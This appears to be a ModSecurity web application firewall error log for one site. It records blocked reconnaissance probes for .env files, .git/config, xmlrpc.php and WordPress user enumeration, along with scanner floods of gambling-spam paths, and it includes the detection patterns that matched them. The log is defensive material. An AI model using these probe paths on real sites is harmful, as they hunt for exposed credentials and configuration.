[Tue Apr 14 14:05:22.662839 2026] [:error] [pid 35630:tid 35697] [client 44.211.23.168:46266] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/apps/.env"] [unique_id "ad3ZIjer0pVFxOiOauUPVgAAAIs"]
[Tue Apr 14 14:05:23.483540 2026] [:error] [pid 35630:tid 35694] [client 44.211.23.168:46270] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/api/.env"] [unique_id "ad3ZIzer0pVFxOiOauUPVwAAAIg"]
[Tue Apr 14 14:05:24.305842 2026] [:error] [pid 37048:tid 37051] [client 44.211.23.168:46278] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/web/.env"] [unique_id "ad3ZJJ52Bo1OyzeXo_zhxAAAAQE"]
[Tue Apr 14 14:05:25.126904 2026] [:error] [pid 35630:tid 35703] [client 44.211.23.168:46284] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/site/.env"] [unique_id "ad3ZJTer0pVFxOiOauUPWgAAAJE"]
[Tue Apr 14 14:05:25.950549 2026] [:error] [pid 35630:tid 35698] [client 44.211.23.168:52948] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/public/.env"] [unique_id "ad3ZJTer0pVFxOiOauUPXwAAAIw"]
[Tue Apr 14 14:05:26.770242 2026] [:error] [pid 35629:tid 35661] [client 44.211.23.168:52956] [client 44.211.23.168] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/admin/.env"] [unique_id "ad3ZJjY8VahzC1YJBSj6UAAAAEI"]
[Tue Apr 14 14:34:31.357542 2026] [:error] [pid 18776:tid 18788] [client 43.157.168.43:44218] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad3f98IjIcAYZxezzAWvEgAAAco"]
[Tue Apr 14 15:08:28.073123 2026] [:error] [pid 37226:tid 37230] [client 54.37.252.131:56830] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ad3n7JOA5-IQ0IVmQCo1RwAAAUI"]
[Tue Apr 14 15:08:29.911870 2026] [:error] [pid 4902:tid 4909] [client 54.37.252.131:43580] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ad3n7Yv8vJvl9lGy39hsAAAAAYU"]
[Tue Apr 14 15:08:31.845182 2026] [:error] [pid 18776:tid 18786] [client 54.37.252.131:43586] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "ad3n78IjIcAYZxezzAW1zgAAAcg"]
[Tue Apr 14 15:08:33.735902 2026] [:error] [pid 35713:tid 35728] [client 54.37.252.131:43600] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "ad3n8a6-hhx6ZepqOSlniAAAAMw"]
[Tue Apr 14 15:08:35.766310 2026] [:error] [pid 35629:tid 35659] [client 54.37.252.131:36354] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "ad3n8zY8VahzC1YJBSgSoAAAAEA"]
[Tue Apr 14 15:08:37.642911 2026] [:error] [pid 35628:tid 35646] [client 54.37.252.131:36366] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "ad3n9efPm-ozGuwCWXL2IAAAAA4"]
[Tue Apr 14 15:08:39.695474 2026] [:error] [pid 35630:tid 35701] [client 54.37.252.131:36370] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "ad3n9zer0pVFxOiOauUwdwAAAI8"]
[Tue Apr 14 15:08:41.757420 2026] [:error] [pid 35629:tid 35665] [client 54.37.252.131:36386] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "ad3n-TY8VahzC1YJBSgS0QAAAEY"]
[Tue Apr 14 15:08:43.773370 2026] [:error] [pid 35628:tid 35647] [client 54.37.252.131:36390] [client 54.37.252.131] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "ad3n--fPm-ozGuwCWXL2JwAAAA8"]
[Tue Apr 14 15:16:04.949015 2026] [:error] [pid 37226:tid 37234] [client 49.43.219.160:53270] [client 49.43.219.160] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.43.219.160, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3ptJOA5-IQ0IVmQCo1xQAAAUY"]
[Tue Apr 14 15:21:05.993896 2026] [:error] [pid 59985:tid 59995] [client 182.9.35.114:64999] [client 182.9.35.114] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "ad3q4egHaxkvLE6V1kkRZwAAAAI"]
[Tue Apr 14 15:24:09.357226 2026] [:error] [pid 59986:tid 60031] [client 182.9.35.114:3722] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3rmZ6axKeW6bX4H7fwbwAAAEs"]
[Tue Apr 14 15:26:07.097845 2026] [:error] [pid 59986:tid 60041] [client 182.9.35.114:48998] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3sD56axKeW6bX4H7fw-wAAAFU"]
[Tue Apr 14 15:27:58.259892 2026] [:error] [pid 59987:tid 60055] [client 182.9.35.114:25214] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3sflWpk-Tfi6_vLKqqlQAAAIg"]
[Tue Apr 14 15:29:36.662005 2026] [:error] [pid 59987:tid 60065] [client 182.9.35.114:64850] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3s4FWpk-Tfi6_vLKqrfQAAAJI"]
[Tue Apr 14 15:31:59.200708 2026] [:error] [pid 59986:tid 60028] [client 182.9.35.114:58121] [client 182.9.35.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.9.35.114, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad3tb56axKeW6bX4H7fyXgAAAEg"]
[Tue Apr 14 18:46:32.880080 2026] [:error] [pid 60074:tid 60094] [client 182.42.104.32:47815] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ad4bCOtqnEmNU9vpHClsbAAAANI"]
[Tue Apr 14 19:00:05.802351 2026] [:error] [pid 60074:tid 60100] [client 51.83.238.207:33042] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "ad4eNetqnEmNU9vpHClzwAAAANg"]
[Tue Apr 14 19:00:11.334810 2026] [:error] [pid 59987:tid 60056] [client 51.83.238.207:53272] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "ad4eO1Wpk-Tfi6_vLKoArwAAAIk"]
[Tue Apr 14 19:00:16.035148 2026] [:error] [pid 59986:tid 60040] [client 51.83.238.207:53276] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "ad4eQJ6axKeW6bX4H7czgwAAAFQ"]
[Tue Apr 14 19:00:22.383199 2026] [:error] [pid 59987:tid 60068] [client 51.83.238.207:50258] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "ad4eRlWpk-Tfi6_vLKoAzwAAAJU"]
[Tue Apr 14 19:00:28.805127 2026] [:error] [pid 59987:tid 60059] [client 51.83.238.207:58828] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "ad4eTFWpk-Tfi6_vLKoA1gAAAIw"]
[Tue Apr 14 19:00:35.307286 2026] [:error] [pid 22177:tid 22200] [client 51.83.238.207:58832] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "ad4eU4TVeJSXHDIlEDtc9wAAARU"]
[Tue Apr 14 19:00:41.715546 2026] [:error] [pid 60074:tid 60080] [client 51.83.238.207:53934] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "ad4eWetqnEmNU9vpHClz-AAAAMQ"]
[Tue Apr 14 19:02:02.904468 2026] [:error] [pid 59987:tid 60061] [client 51.83.238.207:44630] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ad4eqlWpk-Tfi6_vLKoBdgAAAI4"]
[Tue Apr 14 19:02:05.231961 2026] [:error] [pid 59985:tid 60012] [client 51.83.238.207:52548] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "ad4eregHaxkvLE6V1klJ0AAAABM"]
[Tue Apr 14 19:02:24.765122 2026] [:error] [pid 60074:tid 60088] [client 51.83.238.207:41504] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "ad4ewOtqnEmNU9vpHCl1iQAAAMw"]
[Tue Apr 14 19:02:27.417207 2026] [:error] [pid 22177:tid 22191] [client 51.83.238.207:41516] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "ad4ew4TVeJSXHDIlEDtduQAAAQw"]
[Tue Apr 14 19:02:29.988162 2026] [:error] [pid 59986:tid 60040] [client 51.83.238.207:58472] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "ad4exZ6axKeW6bX4H7c0WAAAAFQ"]
[Tue Apr 14 19:02:32.986820 2026] [:error] [pid 59987:tid 60049] [client 51.83.238.207:58488] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "ad4eyFWpk-Tfi6_vLKoBjwAAAII"]
[Tue Apr 14 19:02:35.104746 2026] [:error] [pid 60074:tid 60087] [client 51.83.238.207:58504] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "ad4ey-tqnEmNU9vpHCl1pwAAAMs"]
[Tue Apr 14 19:02:38.558374 2026] [:error] [pid 59986:tid 60034] [client 51.83.238.207:39978] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "ad4ezp6axKeW6bX4H7c0YwAAAE4"]
[Tue Apr 14 19:02:40.850472 2026] [:error] [pid 22177:tid 22201] [client 51.83.238.207:39992] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "ad4e0ITVeJSXHDIlEDtdzAAAARY"]
[Tue Apr 14 19:02:42.700757 2026] [:error] [pid 60074:tid 60090] [client 51.83.238.207:39996] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "ad4e0utqnEmNU9vpHCl1qwAAAM4"]
[Tue Apr 14 19:02:45.617123 2026] [:error] [pid 22177:tid 22192] [client 51.83.238.207:40006] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20168.aspx"] [unique_id "ad4e1YTVeJSXHDIlEDtd2wAAAQ0"]
[Tue Apr 14 19:02:48.815262 2026] [:error] [pid 60074:tid 60092] [client 51.83.238.207:58664] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20auto.aspx"] [unique_id "ad4e2OtqnEmNU9vpHCl1tgAAANA"]
[Tue Apr 14 19:02:50.736141 2026] [:error] [pid 22177:tid 22201] [client 51.83.238.207:58676] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20betflik.aspx"] [unique_id "ad4e2oTVeJSXHDIlEDtd7AAAARY"]
[Tue Apr 14 19:02:52.625938 2026] [:error] [pid 59987:tid 60060] [client 51.83.238.207:58682] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "ad4e3FWpk-Tfi6_vLKoBqgAAAI0"]
[Tue Apr 14 19:02:54.722782 2026] [:error] [pid 59986:tid 60037] [client 51.83.238.207:58686] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "ad4e3p6axKeW6bX4H7c0fwAAAFE"]
[Tue Apr 14 21:36:54.577829 2026] [:error] [pid 59986:tid 60033] [client 14.166.1.45:40805] [client 14.166.1.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.166.1.45, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5C9p6axKeW6bX4H7eGsgAAAE0"]
[Tue Apr 14 21:41:34.903360 2026] [:error] [pid 3810:tid 3821] [client 49.145.210.16:39770] [client 49.145.210.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.210.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5EDsqc5XaYZhFXVGev_wAAAYg"]
[Tue Apr 14 21:41:45.247529 2026] [:error] [pid 3778:tid 3790] [client 49.145.210.16:40853] [client 49.145.210.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.210.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5EGRx5DfpNmYF_PaHw4wAAAUo"]
[Tue Apr 14 21:41:55.964041 2026] [:error] [pid 59985:tid 59993] [client 49.145.210.16:41578] [client 49.145.210.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.210.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5EI-gHaxkvLE6V1klo6wAAAAA"]
[Tue Apr 14 21:42:06.585029 2026] [:error] [pid 3778:tid 3785] [client 49.145.210.16:38304] [client 49.145.210.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.210.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5ELhx5DfpNmYF_PaHxCgAAAUU"]
[Tue Apr 14 21:42:17.168513 2026] [:error] [pid 60074:tid 60083] [client 49.145.210.16:39461] [client 49.145.210.16] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.145.210.16, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad5EOetqnEmNU9vpHCmt1gAAAMc"]
[Tue Apr 14 23:32:29.942155 2026] [:error] [pid 3810:tid 3820] [client 154.54.100.171:42718] [client 154.54.100.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "ad5eDcqc5XaYZhFXVGff7QAAAYc"]
[Wed Apr 15 01:55:28.934409 2026] [:error] [pid 17926:tid 17935] [client 170.106.165.76:37582] [client 170.106.165.76] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ad5_kPKxFvgDwMI04zBcawAAAcI"]
[Wed Apr 15 02:33:49.091057 2026] [:error] [pid 17866:tid 17883] [client 185.158.95.69:10430] [client 185.158.95.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.158.95.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ad6Ijbx_17kv70EUVIlQuwAAAY8"]
